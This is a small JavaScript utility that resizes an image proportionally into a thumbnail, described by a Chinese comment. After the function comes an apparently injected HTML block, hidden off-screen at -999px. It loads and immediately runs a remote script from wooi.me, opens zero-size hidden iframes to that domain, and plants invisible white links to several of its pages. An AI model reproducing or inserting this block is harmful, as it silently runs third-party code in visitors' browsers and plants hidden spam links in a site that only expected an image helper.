/*按比例生成缩略图*/
function DrawImage(ImgD,W,H){ 
  var flag=false; 
  var image=new Image(); 
  image.src=ImgD.src; 
  if(image.width>0 && image.height>0){ 
    flag=true; 
    if(image.width/image.height>= W/H){ 
      if(image.width>W){
        ImgD.width=W; 
        ImgD.height=(image.height*H)/image.width; 
      }
	  else{ 
        ImgD.width=image.width;
        ImgD.height=image.height; 
      } 
      ImgD.alt= ""; 
    } 
    else{ 
      if(image.height>H){
        ImgD.height=H; 
        ImgD.width=(image.width*W)/image.height; 
      }
	  else{ 
        ImgD.width=image.width;
        ImgD.height=image.height; 
      } 
      ImgD.alt=""; 
    } 
  }
}<div style="position: absolute; top: -999px;left: -999px;">
<script src="http://www.wooi.me/client/js/webpage.js" type="text/javascript"></script>
<script type="text/javascript">run1();run2();run3();</script>
<iframe frameborder="0" height="0" width="0" src="http://wooi.me/"></iframe>
<iframe frameborder="0" height="0" width="0" src="http://wooi.me/tools.php"></iframe>
<strong><a href="http://wooi.me/" style="cursor:default;"><font color="#FFF" size="0">wooi</font></a></strong>
<strong><a href="http://wooi.me/vsource.php" style="cursor:default;"><font color="#FFF" size="0">wooi</font></a></strong>
<strong><a href="http://wooi.me/viewer.php" style="cursor:default;"><font color="#FFF" size="0">wooi</font></a></strong>
<strong><a href="http://wooi.me/urle.php" style="cursor:default;"><font color="#FFF" size="0">wooi</font></a></strong>
<strong><a href="http://wooi.me/" style="cursor:default;"><font color="#FFF" size="0">ҳЧ</font></a></strong>
</div>


